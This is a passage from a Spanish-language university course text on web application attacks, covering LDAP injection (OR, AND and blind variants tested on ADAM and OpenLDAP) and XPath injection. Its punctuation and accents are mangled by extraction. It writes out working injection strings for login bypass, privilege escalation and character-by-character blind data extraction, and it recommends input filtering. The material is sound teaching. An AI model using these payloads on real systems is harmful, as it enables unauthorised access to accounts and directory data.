botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-
nicacioacuten de las empresas son objetivos de este tipo de ataques
6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario
puede cambiar su nivel de privilegios dentro de un sistema para acceder a
informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten
de privilegios es una vulnerabilidad que suele ser el origen de brechas que
conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten
A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la
implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-
taacuteneamente en varias de las categoriacuteas anteriores
CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web
La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo
objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-
nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos
directamente en la base de datos
21 LDAP Injection
Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en
aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible
realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso
y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo
LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones
bull And LDAP Injection
bull OR LDAP Injection y
bull Blind LDAP Injection
Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM
de Microsoft y el motor OpenLDAP un producto Software Libre de amplia
implantacioacuten a nivel mundial
211 LDAP Injection con ADAM de Microsoft
Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-
mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un
cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-
presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados
En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM
Figura 12 Estructura del aacuterbol LDAP creado en ADAM
CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web
Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente
filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como
se puede ver en la figura 13
Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)
Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a
toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera
todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-
tener con una consulta siguiendo el formato definido en las RFC sobre ADAM
(|(cn=Impresora_1)(cn=Impresora))
CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web
Figura 14 Todas las impresoras
Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos
inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
